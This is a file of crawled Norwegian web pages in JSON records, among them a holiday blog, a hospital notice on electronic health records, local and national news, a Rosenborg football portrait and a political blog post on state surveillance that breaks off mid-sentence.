{"url": "http://oysteinlive.blogspot.com/2014/04/frste-dag-i-orlando.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:07:28Z", "text": "hvis du lurer p\u00e5 hva familien min og jeg gj\u00f8r...\n\n## tirsdag 15. april 2014\n\n### F\u00f8rste dag i Orlando\n\n  \n\nVi er kommet skikkelig til rette i Hamptons Lake her i Florida.\n\nDagen startet med bading kl 0730, da var Theodor lei av \u00e5 vente (hadde ventet siden kl 03...).\n\nJeanette og Turid kj\u00f8rte jeg til Orlando Premium Outlet kl 10. Der var de hele dagen. Vi andre tre m\u00f8tte dem der kl 15 og ble der til 19. S\u00e5 n\u00e5 er Jeanette brukbart forn\u00f8yd med starten av ferien.\n\n  \n\n\n\n\n", "language": "no", "__index_level_0__": "b0c5232f-a211-4769-9781-a6f16c469493"}
{"url": "http://betanienhospital.no/kjernejournal-tilgjengelig-for-telemarks-befolkning", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:09:57Z", "text": "# Betanien Hospital - Skien\n\n# Kjernejournal tilgjengelig for Telemarks befolkning\n\n\n\n2\\. mars ble Kjernejournal tilgjengelig for alle innbyggere i Telemark.  \n  \nKjernejournal er en elektronisk tjeneste som inneholder viktige opplysninger om helsen din.  \n  \nB\u00e5de du som innbygger og helsepersonell har tilgang til informasjonen i denne tjenesten. Blir du akutt syk, har helsepersonell rask og sikker tilgang til opplysningene i din kjernejournal.\n\nAlle leger og sykepleiere med akuttfunksjon har tilgang til din Kjernejournal via sykehusenes pasientjournal.\n\nKjernejournal samler viktige opplysninger\u00a0og gir helsepersonell rask tilgang til viktige opplysninger om pasienten. Det kan v\u00e6re avgj\u00f8rende n\u00e5r tiden er knapp.\n\nLegges du inn p\u00e5 et sykehus hvor du ikke har v\u00e6rt f\u00f8r, vil helsepersonell raskt kunne sl\u00e5 opp i din kjernejournal og finne viktige helseopplysninger. Det kan redde liv.\n\nDu kan reservere deg mot \u00e5 ha en kjernejournal.\n\n", "language": "no", "__index_level_0__": "3d72a859-0e83-429e-8cf5-373435d34d94"}
{"url": "http://syglad.blogspot.com/2008/07/award.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:24:08Z", "text": "\n\n## juli 24, 2008\n\n### Award\n\nJeg blir alltid s\u00e5 glad n\u00e5r jeg f\u00e5r award, det betyr vel at noen setter pris p\u00e5 bloggen min det vel?\n\nDenne fikk jeg av trollek\u00e5ne og jeg takker og bukker. Kjempeglad er jeg som er valgt\n\ntil denne \u00e6ren.\n\nSkal n\u00e5 gi den til 7 nye utvalgte blogger.\n\nDet er masse flotte blogger som inspirerer og gleder meg der ute i denne\n\nstore dataverden.\n\n  \n\nThe rules are as follows:\n\n#### 1 kommentar:\n    \n    Anne Grete24. juli 2008 kl. 09:03\n    \n    Tusen takk, s\u00e5 hyggelig \u00e5 f\u00e5 denne av deg. Skal legge den inn p\u00e5 bloggen min.  \n    Ha en fortsatt fin sommer.\n    \n## Dette er syglad.\n\n\n\n", "language": "no", "__index_level_0__": "601c9cdb-e358-4c4a-ac3d-eb0fd0c64fdb"}
{"url": "http://www.1001sang.no/index.php?main_page=product_info&cPath=26_56&products_id=306", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:37:00Z", "text": "# Fra venner\n\n**Koselig sang p\u00e5 3 vers.**  \n  \nFra venner. Flere alternative vers \u00e5 velge mellom.  \n  \n\n#### H\u00f8r melodien:\n\nShalala (Bj\u00f8rn Eidsv\u00e5g)\n\n  - \n  - \n\n## kr\u00a055,-\n\n**Utdrag av sangen:  \n  \nmel.: Shalala  \n  \nGode venner vil en hyllest gi.  \nDenne festen her gir energi\\!  \nH\u00e5per livet ditt vil bli en fest,  \nfor du er topp \u2013 ja, du er aller best.  \nShalala lalalalala.  \nShalala lalalalala.  \nDu er helt topp.  \nJa, du er kjempebra\\!\n\n  \n", "language": "no", "__index_level_0__": "1b99ecfb-7b94-457f-b848-cc524403fa19"}
{"url": "https://gausdolen.no/notiser/trond-klaape-blir-fylkesleder-i-bonde-og-sm%C3%A5brukarlaget", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:11:10Z", "text": "# Trond Klaape blir fylkesleder i Bonde- og Sm\u00e5brukarlaget\n\nTrond Klaape, 39, er innstilt av valgkomiteen som fylkesleder i Opplabd Bonde- og Sm\u00e5brukaralag. Han tar over etter Svenn Arne Lie.\u00a0\n\nNotis publisert: 25. mars 2018 00:11\n\nJa det stemmer at jeg har stilt meg til disposisjon for dette vervet sier Trond n\u00e5r Gausd\u00f8l'n kontakter han. Men vi f\u00e5r vente til\u00a0medlemmene \u00a0har foretatt det endelige valget p\u00e5 \u00e5rsm\u00f8tet n\u00e5 18. mars med \u00e5 komme med en tiltredelseserkl\u00e6ring, sier han. Det jeg har sagt til valgkomiteen er at jeg vil ha prioritet p\u00e5 \u00e5 arbeide for et godt samarbeid organisasjonene i mellom i landbruket og gardbrukere i mellom p\u00e5 tvers av produksjonsformer. Trond Klaape er i dag leder i Gausdal Bonde- og Sm\u00e5brukaralag og driver gard i \u00d8vre Svatsum der produksjonen er sau og foringsdyr. I tillegg er han menighetspedagog for kirkekontorene i \u00d8yer og Gausdal der han blant annet er engajsert i konfirmantundervisningen og kontakt mellom kirke og skoleverket.\u00a0 Hvis han f\u00e5r vervet som fylkesleder vil han trappe ned engasjementet i menighetsrabeidet noe. Sm\u00e5brukarlaget i Oppland har kontorplass p\u00e5 Lillehammer og fylkessekret\u00e6r er Anette J\u00f8rstad.\n\n### Hva skjer i Gausdal?\n\n2\\. mars 2018 12:38\n\n**Svatsum f\u00f8rst med treningsstudio**\nDet skrives om at Gausd\u00f8lene ikke har noe tilbud om treningssenter. Det har gyldighet kun fram til s\u00f8ndag for da \u00e5pner svatsingene det de beskejdent har kalt Trimrom p\u00e5 Svatsum Skule\n\n28\\. februar 2018 13:14\n\n**Eiendomsskatten er nok det store samtaleemnet i Gausdal om dagen.**\n\nN\u00e5r har alle med eiendom som fastboende eller som eier av fritidsbolig\u00a0 i Gausdal\u00a0 f\u00e5tt brev med ny takst og nytt bel\u00f8p \u00e5 betale.\n\n", "language": "no", "__index_level_0__": "9043e44c-9719-4647-81a9-d28273655040"}
{"url": "https://www.medier24.no/artikler/krf-kjemper-for-lordagsavisa-krever-distribusjon-for-a-sikre-ny-postlov/360427", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:32:07Z", "text": "\n\n# KrF kjemper for l\u00f8rdagsavisa. Krever distribusjon for \u00e5 sikre ny postlov\n\nI dag legges forslaget til ny postlov fram for Stortinget.\n\n  - 2\\. juni 2015 - 07:17  Endret 31. mars 2017 - 16:37 \n\n**Oslo (NTB):** Flere husstander kan miste l\u00f8rdagsavisen n\u00e5r det blir slutt p\u00e5 postomb\u00e6ring p\u00e5 l\u00f8rdagene. KrF er tydelige p\u00e5 at l\u00f8rdagsavisen m\u00e5 bevares dersom de skal st\u00f8tte forslaget om en ny postlov.\n\nTirsdag legger transportkomiteen p\u00e5 Stortinget fram sin innstilling om den nye postloven.\n\nN\u00e5r det legges opp til at omb\u00e6ringen av post p\u00e5 l\u00f8rdager stanses, kan det g\u00e5 ut over 15 prosent av avisopplaget som i dag distribueres med posten.\n\n**\u2013 L\u00f8rdagsomdelingen av aviser skal fortsette p\u00e5 samme m\u00e5te som i dag, og avisa skal helt fram til abonnentene. Dette ligger som en klar forutsetning i v\u00e5r merknad til regjeringens stortingsmelding om postloven, sier Hans Fredrik Gr\u00f8van i KrF til Klassekampen.**\n\nHan er tydelig p\u00e5 at de vil kjempe hardt for \u00e5 bevare l\u00f8rdagsavisene, og h\u00e5per p\u00e5 \u00e5 f\u00e5 med seg Venstre.\n\nStaten kan spare 400 millioner kroner ved \u00e5 g\u00e5 ned fra seks til fem dagers postomb\u00e6ring.\n\n**Posten har sagt at det vil koste mellom 50 og 120 millioner kroner \u00e5 sikre fortsatt distribusjon av avisene, noe som dermed kan spise opp mye av innsparingene.**\n\nI h\u00f8ringsforslaget skisserer regjeringen to alternativer: Ett der all postomb\u00e6ring p\u00e5 l\u00f8rdager opph\u00f8rer. Det andre alternativet g\u00e5r ut p\u00e5 at Posten fortsatt har ansvar for omb\u00e6ring av aviser, men ikke annen post.\n\n***(\u00a9NTB)***\n\n** Hans Fredrik Gr\u00f8van Krf Nyheter Posten\n\n", "language": "no", "__index_level_0__": "a7539c06-bc4f-4289-af9b-6843c75b5ecf"}
{"url": "http://avforum.no/forum/h-yttalere/115647-dynavoice-6-ex-med-onkyo-tx-sr508b.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:45:44Z", "text": "    ## Dynavoice F-6 EX med Onkyo TX-SR508B\n    \n    > Hei\\!   \n    >   \n    > Jeg har en Onkyo TX-SR508B receiver og et sett med Harman Kardon HKTS7, Jeg er sv\u00e6rt forn\u00f8yd med de, men dette er bare et 5.1 anlegg og jeg vil ha et par gulvst\u00e5ende h\u00f8yttalere i tillegg ettersom jeg har mulighet til det. Jeg har funnet noen som egentlig virker perfekt, Dynavoice F-6 EX ( Dynavoice F-6 EX Black PAR Dynavoice | Surround.no - H\u00f8yttaler-spesialisten ) S\u00e5 det jeg lurer p\u00e5 er om det er et par h\u00f8yttalere som passer til de jeg har fra f\u00f8r og om receiveren min vil funke fint med dem. Ogs\u00e5 lurer jeg p\u00e5 om det ville fungert med Dynavoice M-65 EX ( Dynavoice M-65 EX Black Oak/Piano Finish Dynavoice | Surround.no - H\u00f8yttaler-spesialisten ) eller om det blir for mye iforhold til det jeg har og hva receiveren ville klart?  \n    >   \n    > P\u00e5 forh\u00e5nd, Takk\\!   \n    >   \n    > Mva. Slydahl.\n    \n", "language": "no", "__index_level_0__": "6c7d54ea-a313-4c66-a24d-0b0fb9ce1087"}
{"url": "http://www.rbk.no/nyheter/jeg-likte-a-spille-for-folk", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:39:45Z", "text": "\n\n# \\- Jeg likte \u00e5 spille for folk\n\nKong Sverre Brandhaug likte seg aller best utp\u00e5 banen n\u00e5r det var fullt p\u00e5 tribunene. I v\u00e5rt siste portrett forteller han blant annet om starten for 16. mai-tradisjonen i Norge, Slaget p\u00e5 Testiklestad, og da han ble bortd\u00f8mt p\u00e5 det groveste\\!  Portrett \n\nSverre Brandhaug var Rosenborgs ubestridte midtbanesjef i ti \u00e5r fra han debuterte i 1981, frem til ryggplager tvang han til \u00e5 legge skoene p\u00e5 hylla i 1991. I 1986 tok Arne Dokken over sjefsstolen p\u00e5 Lerkendal for andre gang, og ba Sverre ta over kapteinsansvaret fra Jan Hansen, en rolle som kom naturlig for ham.  \n  \n\\- Ja, jeg f\u00f8lte det. Jeg hadde ganske bra innflytelse p\u00e5 folk, og var ganske autorit\u00e6r utp\u00e5 banen, minnes han.  \n  \nSom 20-\u00e5ring hadde han ogs\u00e5 tidligere tatt over kapteinsbindet i Strindheim, en ikke ubetydelig klubb i Trondheim p\u00e5 den tiden. Nils Arne Eggen var derimot tidlig klar over fotballtalentet til Brandhaug, og var fremp\u00e5 flere ganger f\u00f8r han fikk sin mann. Da Strindheim rykket opp til 2.divisjon i 1976 var unge Sverre en lovende juniorspiller i \u00d8rn, men f\u00f8lte at tida var inne for \u00e5 ta steget videre.  \n  \n\\- Nils Arne ville ha meg i RBK, men jeg valgte \u00e5 \u00abta trappa\u00bb, og valgte derfor Strindheim, sier han om den saken.\n\n\n\n### 16\\. mai-kampens far\n\nHan har aldri v\u00e6rt redd for \u00e5 markere seg, Brandhaug, og det brukte han heller ikke lang tid p\u00e5 som fersk RBK-spiller heller. Kampen som skulle blitt hans debut mot Fredrikstad i april 1981, ble utsatt. Unge Brandhaug foreslo \u00e5 spille kampen dagen f\u00f8r dagen, p\u00e5 16. mai. NFF likte forslaget, og slik ble det. \u00abFotballens nasjonaldag\u00bb-tradisjonen var skapt.  \n  \n\\- Det stemmer ganske bra det. Hvis jeg husker rett s\u00e5 er det p\u00e5 16. mai-kampene jeg har scoret flest m\u00e5l ogs\u00e5. Jeg var vel ogs\u00e5 den f\u00f8rste som scoret p\u00e5 en 16. mai-kamp, s\u00e5 det er litt artig.  \n  \nTidene var dog ganske s\u00e5 annerledes tidlig p\u00e5 80-tallet. Potten av inntektene fra kampdag ble delt mellom hjemmelaget, forbundet og motstanderen. Dette f\u00f8rte til at andre lag i Eliteserien heller ville komme til Lerkendal p\u00e5 16. mai fremfor \u00e5 ha hjemmekamp selv(\\!).  \n  \n\\- Ganske utrolig. N\u00e5 er det jo heldigvis ikke slik lenger. Samtidig ser man at tradisjonen ikke holdes like sterkt andre steder i landet, se bare for eksempel p\u00e5 V\u00e5lerenga. De trakk 7000 p\u00e5 sin 16. mai-kamp i \u00e5r, sier han hoderystende.  \n  \nStikk i strid med Rosenborg, som aldri har hatt under 15 000 tilskuere p\u00e5 en 16. mai-kamp. De tre siste kampene p\u00e5 16. mai har alle dratt over 21 000 tr\u00f8ndere p\u00e5 kamp.  \n  \n\\- 16. mai var det artigste for meg, for da var det alltid fullt \u2013 og jeg likte \u00e5 spille for folk. Jeg husker spesielt godt Molde i 1984, hvor jeg scoret hattrick, gliser han.\n\n### \\- Mildt sagt irriterende\\!\n\nDet ble med det ene hattricket for den frittscorende midtbanespilleren, men han husker en annen episode godt, som kunne forandret p\u00e5 det.\n\n> \\- Det var\u2026j\u2026ehm mildt sagt irriterende\\!\n> \u2014 Brandhaug om da han ble bortd\u00f8mt mot Bryne.\n\n  \n\\- Et \u00e5r mot Bryne p\u00e5 Lerkendal ledet vi 2-0, der jeg hadde puttet begge. S\u00e5 hadde Bryne corner, og vi kontret. K\u00e5re (Ingebrigtsen, red. anm) slo den rett opp til meg, og s\u00e5 gikk jeg mot to Bryne-spillere. Jeg sprang fra dem, runda keeper og skulle bare sette det tredje m\u00e5let, men s\u00e5 bl\u00e5ste dommeren av kampen\\!\n\nHan vrir seg tydelig i stolen. Dette plager ham fortsatt. Han bryter ut i latter.\n\n\\- Det var\u2026j\u2026ehm mildt sagt irriterende\\! sier han, f\u00f8r en ny latterkule f\u00f8lger.\n\n**Men det ble 111 m\u00e5l p\u00e5 296 kamper p\u00e5 deg, det er vel greie tall for en\u00a0midtbanespiller?**\n\n\\- Jeg er den mestscorende midtbanespilleren gjennom tidene i Norge, i seriesammenheng. Jeg st\u00e5r vel med 84 eller 85 m\u00e5l...s\u00e5 ja, jeg kan vel ikke klage, smiler han.\n\n**Ikke verst det. Noen kamper eller m\u00e5l du vil trekke frem som var ekstra spesielle?**\n\n\\- Seriefinalen mot Lillestr\u00f8m i 1985 var jo rett og slett bare magisk med hele rammen og dramaturgien i det hele. Oppbyggingen ogs\u00e5, hvor vi l\u00e5 bak Lillestr\u00f8m hele h\u00f8sten, men tok dem sakte men sikkert igjen. Jeg husker vi l\u00e5 et poeng bak LSK f\u00f8r vi hadde Viking borte i nest siste runde. Der slet vi ofte. Men vi vant 1-0 etter m\u00e5l av Jan Hansen. Da fikk vi seriefinalen. Det var kanskje det viktigste m\u00e5let Jan Hansen scoret, og er noe jeg husker veldig godt.\u00a0\n\n\n\n### \\- Her var jeg langt utav meg selv\n\nVi tar han med litt frem i tid igjen, \u00e5ret er 2013. Brandhaug er blitt forespurt om \u00e5 spille Kong Sverre i \u00abSlaget p\u00e5 Testiklestad\u00bb.**  \n**  \n\\- Det kom plutselig en telefon til meg p\u00e5 h\u00f8sten, der jeg ble bedt om \u00e5 sette av noen forskjellige datoer neste september. S\u00e5 jeg spurte jo naturligvis hva som skjer disse dagene, - nei det kunne de ikke si. \u2013 Nei, da kan jeg heller ikke sette av datoene, repliserte jeg\\! S\u00e5 hadde vi et m\u00f8te i januar, og da presenterte de opplegget: Kong Sverre skulle komme inn p\u00e5 slutten og ordne opp alt. S\u00e5 det var liksom ikke den store jobben, og jeg skulle ikke v\u00e6re med p\u00e5 hele spelet \u2013 sa dem\\!\n\n> \\- Jeg tenkte at dette var jo noe helt annet, s\u00e5 hvorfor ikke?\n> \n> \u2014 om \u00e5 ta rollen som Kong Sverre i Slaget p\u00e5 Testiklestad.\n\n  \n  \n\\- Etter litt om og men s\u00e5 slo det meg at jeg hadde sagt s\u00e5 mye nei til alt mulig og ville ikke stille opp p\u00e5 noe som helst. Jeg tenkte at dette var jo noe helt annet, s\u00e5 hvorfor ikke?  \n  \nMen det var ikke bare rett frem for Kong Sverre Brandhaug, som aldri hadde gjort noe lignende f\u00f8r.  \n  \n\\- Jeg m\u00f8tte opp til generalpr\u00f8ven uten \u00e5 ha lest noe som helst. Jeg ble s\u00e5 nerv\u00f8s at jeg begynte \u00e5 skjelve s\u00e5 mye at jeg ikke klarte \u00e5 lese fra arket en gang. De sa at \u00abdette var bra, Sverre\u00bb. Jeg sa \u00abnei det her er definitivt ikke bra i det hele tatt, dette kan jeg ikke v\u00e6re med p\u00e5, jeg trekker meg\\!\u00bb. De mente jo at dette ikke var noe problem for meg, med publikum og alt. Men dette var noe annet, p\u00e5 fotballbanen likte jeg mye publikum. Her var jeg langt utav meg selv, forteller han \u00e5penhjertig.\n\n\n\n  \nMen Sverre tok seg sammen, dro hjem og \u00f8vde hardt i to dager. Det ble turer opp i skogen, der han gikk og leste replikkene h\u00f8yt for seg selv. P\u00e5 premieredagen ringte regiss\u00f8r Mads Bones og lurte p\u00e5 om \u00abBrandy\u00bb hadde tid til \u00e5 g\u00e5 igjennom det hele en siste gang.  \n  \n\\- Vi gjorde det og det satt, og da merket jeg p\u00e5 alle rundt meg at de var veldig lettet, ler han.  \n  \nDet ble et par nerv\u00f8se f\u00f8rste forestillinger, f\u00f8r det l\u00f8snet skikkelig for Brandhaug, som opptr\u00e5dte som Kong Sverre tolv ganger den sommeren, if\u00f8lge ham selv.  \n  \n\\- I ettertid er jeg kjempeglad for at jeg sa ja. Jeg tar mye p\u00e5 sparket ellers, men dette var noe helt annet. Jeg tror jeg kan replikkene fortsatt\\!\n\n### \\- Klubben betyr mye\n\nEtter han la opp som spiller gikk han direkte over i en rolle i Rosenborgs markedsavdeling frem til 2008. I fjor startet han derimot opp bedriftsnettverket Artig7.  \n  \n\\- Jeg har jo drevet med networking og jobbet med folk stort sett siden jeg sluttet som spiller. Vi satte oss et m\u00e5l at vi skulle bli 50 medlemsbedrifter. I dag er vi 83 etter \u00e5 ha holdt p\u00e5 i litt over et \u00e5r. Absolutt godkjent vil jeg si.\n\n**Hva betyr RBK for deg i dag?**  \n  \n\\- Jeg var i klubben i 28 \u00e5r i strekk fra jeg begynte \u00e5 spille til 2008. S\u00e5 det er klart, klubben betyr mye for meg, sier han.  \n  \n**Og hans sterkeste RBK-minne har han veldig klart:**  \n\\- Det var da jeg driblet av Kjetil Rekdal og halve Molde-laget pluss Mini f\u00f8r jeg satte den i m\u00e5l i 1988, gliser han.\n\n## PORTRETTSERIEN RBK 100 \u00c5R\n\n  - Rosenborg Ballklub fyller 100 \u00e5r. Gjennom \u00e5ret 2017 vil dette markeres p\u00e5 flere m\u00e5ter. Et av tiltakene er en portrettserie som vil publiseres p\u00e5 RBK.no utover v\u00e5ren, sommeren og h\u00f8sten, hvor publikum vil m\u00f8te forskjellige mennesker som \u00e5pner opp om sin interesse, lidenskap eller tilknytning til Rosenborg.\n\n  - Til en slik serie som skal feire Rosenborgs eksistens gjennom hundre \u00e5r, finnes det et uendelig utvalg av personer, b\u00e5de kjente og mindre kjente, unge og gamle. Vi har landet p\u00e5 et knippe personer som vi mener representerer et mangfoldig spekter av Rosenborg gjennom 100 \u00e5r og som p\u00e5 sine ulike vis kan kaste forskjellige blikk p\u00e5 det som ofte kalles Nordens stolthet.\n\n", "language": "no", "__index_level_0__": "9fa04cea-5d1c-4812-83b2-a2c933e2c3de"}
{"url": "http://uni.no/nb/uni-helse/nasjonalt-kompetansesenter-for-legevaktmedisin/implementering-av-akuttmedisinforskriften/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:25:50Z", "text": "# Implementering av akuttmedisinforskriften\n\nProsjekt Avdeling: Uni Research Helse (gruppe: Nasjonalt kompetansesenter for legevaktmedisin) periode: 01.03.17 - 01.03.18  \n  \n\n## Prosjektresultater\n\nAv 1197 leger p\u00e5 vakt i l\u00f8pet av en gitt uke i mars 2017 kunne\u00a066 %\u00a0ha selvstendig legevakt uten bakvakt. Fire av ti var godkjent allmennlege, og bortimot tre av ti var spesialist i allmennmedisin. Seks av ti leger, som ikke oppfylte kompetansekravet, hadde bakvakt.\n\nDet ble antatt at\u00a072 %\u00a0av legene\u00a0som var tilkyttet legevaktene\u00a0p\u00e5 unders\u00f8kelsetidspunktet,\u00a0vil innfri akuttmedisinforskriftens kompetansekrav for \u00e5 kunne ha selvstendig legevakt uten kvalifisert bakvakt fra 1. mai 2018. Ved noen legevakter gjaldt dette imidlertid en sv\u00e6rt lav andel av legene, - ved 23 legevakter ble det forventet at andelen vil v\u00e6re mindre 60 %.\n\nAv totalt 1168 ulike operat\u00f8rer i vakt ved legevaktsentralene i l\u00f8pet av den gitte uken hadde 95 % relevant helsefaglig utdanning p\u00e5 bachelorniv\u00e5, slik kravet i akuttmedisinforskriften er. 89 % hadde minimum to \u00e5rs klinisk praksis f\u00f8r ansettelse i legevaktsentralen og 80 % hadde gjennomf\u00f8rt tilleggsoppl\u00e6ring for operat\u00f8r. Det var imidlertid bare 65 % av legevaktsentralene som oppgav at de hadde prosedyrer for tilleggsoppl\u00e6ring av operat\u00f8rene.\n\n\u00a0\n## Om prosjektet\n\nHelsedirektoratet har gitt Nasjonalt kompetansesenter for legevaktmedisin (Nklm) i oppdrag \u00e5 gjennomf\u00f8re en unders\u00f8kelse om kompetanse hos legevaktleger og operat\u00f8rer i legevaktsentralen, med utgangspunkt i kravene i akuttmedisinforskriften \u00a7 4, \u00a7 7 og \u00a7 13.\n\nDet gjennomf\u00f8res to separate unders\u00f8kelser i 2017.\n\n1.  Alle legevaktene i Norge ved leder f\u00e5r unders\u00f8kelse om kompetanse hos leger\n\n1.  Alle legevaktsentralene ved leder f\u00e5r unders\u00f8kelse om operat\u00f8rer i legevaktsentralen\n\nTone Morken er prosjektleder. Prosjektmedarbeidere er Jens Leirv\u00e5g, Vivian Midtb\u00f8, Marie Louise Ljones og Steinar Hunsk\u00e5r.\n\n\u00a0\n", "language": "no", "__index_level_0__": "ed6d68f7-3ce7-47cb-9771-aa0da69733cc"}
{"url": "https://www.folkebladet.no/nyheter/2017/12/16/Elg-p%C3%A5kj%C3%B8rt-i-Bardu-15765332.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:28:05Z", "text": "ELG P\u00c5KJ\u00d8RT En elg ble p\u00e5kj\u00f8rt og drept i Salangsdalen l\u00f8rdag. Dette bildet er tatt i en annen anledning.\u00a0 Foto: Ronald Johansen/iTroms\u00f8\nEn elg ble l\u00f8rdag ettermiddag p\u00e5kj\u00f8rt ved Vestre Forset i Salangsdalen i Bardu.\n\n\\- Elgen er d\u00f8d, opplyser politiet.\n\nP\u00e5 kj\u00f8ret\u00f8yet ble det materielle skader.\n\nPolitiet meldte om hendelsen klokka 17.16.\n\n### Advarer om rasfare\n\n### Er ikke ski noe for deg? Pr\u00f8v Amalfikysten\n\n### Dette skal folk i Midt-Troms i p\u00e5sken\n\nDe har gjort unna videreg\u00e5ende skole sammen, og skal n\u00e5 v\u00e6re sammen om en sprek skip\u00e5ske.\n\n### \u2013 Vi ble fullbooket allerede for tre uker siden\n\nM\u00e5lselv Fjellandsby er igjen fullbooket og har ventelister p\u00e5 overnatting i p\u00e5sken. N\u00e5 jobber de for \u00e5 f\u00e5 p\u00e5 plass et hotell i fjellet.\n\n", "language": "no", "__index_level_0__": "48ab760b-11cb-4bc3-b511-405688b4484f"}
{"url": "https://www.tek.no/ordbok/?wordId=741", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:30:26Z", "text": "#### iAMT2\n\n**Ansvarlig redakt\u00f8r:** Gard Steiro\n\n**Digitalredakt\u00f8r:** Ola E. Stenberg\n\n**Nyhetssjef:** Niklas Plikk\n\n**Testansvarlig:** Stein Jarle Olsen\n\n  \nAll journalistikk er basert p\u00e5 V\u00e6r varsom-plakaten, Redakt\u00f8rplakaten og Tekstreklameplakaten\n\n**V\u00e5re tjenester:**\n\n  - Bildekritikk\n  - Bruktmarked\n  - Mobilabonnement\n\n**Samarbeidspartnere:**\n\n  - Prisjakt\n\nKopiering av materiale fra VG Nett for bruk annet sted er ikke tillatt uten avtale.\n\n", "language": "no", "__index_level_0__": "aa5b2ea2-86b7-46aa-84a8-1550d2d5a4e8"}
{"url": "http://frpkoden.blogspot.com/2009/06/overvakning.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:18:19Z", "text": "Hvordan kan sympatiske mennesker stemme p\u00e5 Norges mest usympatiske parti?\n\n## l\u00f8rdag 13. juni 2009\n\n### Om overv\u00e5kningen av Konge, Statsminister og Fedreland\n\nDet bekreftes i dag at Slottets epost har blitt snoket i. Snoket i av ansatte i Det Norske Forsvar. Overv\u00e5kningsskandalen har da blitt en god del hakk verre enn det enkelte antydet tidligere i uken: at det nok kun handlet om generell overv\u00e5kning av nettverkstrafikken for \u00e5 stoppe virus og annen skadelig programvare.  \n  \nUnnskyldningene m\u00e5 n\u00e5 ta en annen form - h\u00f8yst sannsynlig at det handler om utro tjenere / cowboyer / enkeltpersoner med d\u00e5rlig moral og ikke noen \"ordentlig overv\u00e5kning\".  \n  \nI s\u00e5 fall b\u00f8r debatten ende opp med \u00e5 bli en mye viktigere debatt om overv\u00e5kningen som n\u00e5 er \u00f8nsket skrudd p\u00e5, eller for alt jeg vet allerede er skrudd p\u00e5, mot folk flest - med enda st\u00f8rre sjanse for at utro tjenere og folk med d\u00e5rlig moral f\u00e5r meske seg i private detaljer om sine medborgere.  \n  \nFor ansatte i bredb\u00e5ndsselskaper m\u00e5 vel ikke gjennomg\u00e5 like tunge sikkerhetsklareringer (?) som de som har sittet med tilsvarende muligheter i Forsvarets Sikkerhetstjeneste - og misbrukt dem?  \n  \nKan ansatt X i bredb\u00e5ndsselskap Y klikke seg inn p\u00e5 og se hva du var inne p\u00e5 for slags nettsider i g\u00e5r kveld?  \n  \nH\u00f8yrestyret i Frankrike banket gjennom dette i midten av mai:  \n  \n\n> Som forventet vedtok det franske Senatet i g\u00e5r kveld HADOPI-loven, som tirsdag gikk gjennom i Nasjonalforsamlingen med et knapt flertall. Franske internettleverand\u00f8rer er n\u00e5 p\u00e5lagt \u00e5 overv\u00e5ke sine kunder, for \u00e5 tilse at ingen deler opphavsrettsbeskyttet materiale. Dersom det oppdages at en abonnent gj\u00f8r dette, vil han eller hun i f\u00f8rste omgang f\u00e5 en advarsel. Ved tredje gjentagelse er s\u00e5 internettleverand\u00f8ren p\u00e5lagt \u00e5 sperre abonnenten ute fra nettet.\n\n  \n  \n...men etter at sosialistene klaget inn vedtaket for domstolene ble loven i g\u00e5r vingeklippet:  \n\n> Den strenge loven som president Nicolas Sarkozy tvang gjennom har blitt vingeklippet av en fransk domstol. (...) Ved \u00e5 utestenge noen fra nettet, kutter man en viktig del av det moderne menneskets mulighet for kommunikasjon med omverden, mener domstolen. Fri rett til kommunikasjon er ogs\u00e5 en del av Frankrikes forpliktelse til menneskerettighetene i landet, i tillegg til forpliktelsen om \u00e5 opprettholde en rettsstat.\n\n  \nAt Datatilsynet gikk med p\u00e5 \u00e5 la telefonkatalogen.no legge ut f\u00f8dselsdagen til alle telefonabonnenter i dette landet p\u00e5 sine nettsider viser at kapitalen her er i ferd med \u00e5 vinne over folkeviljen.  \n  \nVi \u00f8nsker ikke at hvem som helst skal kunne grafse i v\u00e5re privatliv:  \n  \n\n> Problemet i denne saken, og i alle andre saker som involverer \u00abmonitorering\u00bb og \u00aboverv\u00e5kning\u00bb, er at skillelinjene er veldig utydelige. Dersom man har tilgang til \u00e5 monitorere datatrafikken, har man ogs\u00e5 tilgang til \u00e5 overv\u00e5ke den. Det kunstige skillet er bare et sp\u00f8rsm\u00e5l om tillit og kontrollrutiner.\n\n  \nHvilken side stiller de ulike partier seg p\u00e5?  \n  \nN\u00e5r selv ikke topp sikkerhetsklarererte forsvarsfolk er i stand til \u00e5 holde fingrene unna materialet - hvorfor i alle dager skal vi g\u00e5 rundt og v\u00e6re overbeviste om at bredb\u00e5ndsleverand\u00f8ransatte skulle gj\u00f8re det?  \n  \nForsvarsdepartementet sier i dag at Statsministerens Kontor er umulig \u00e5 overv\u00e5ke.  \n  \nSlik vil jeg ogs\u00e5 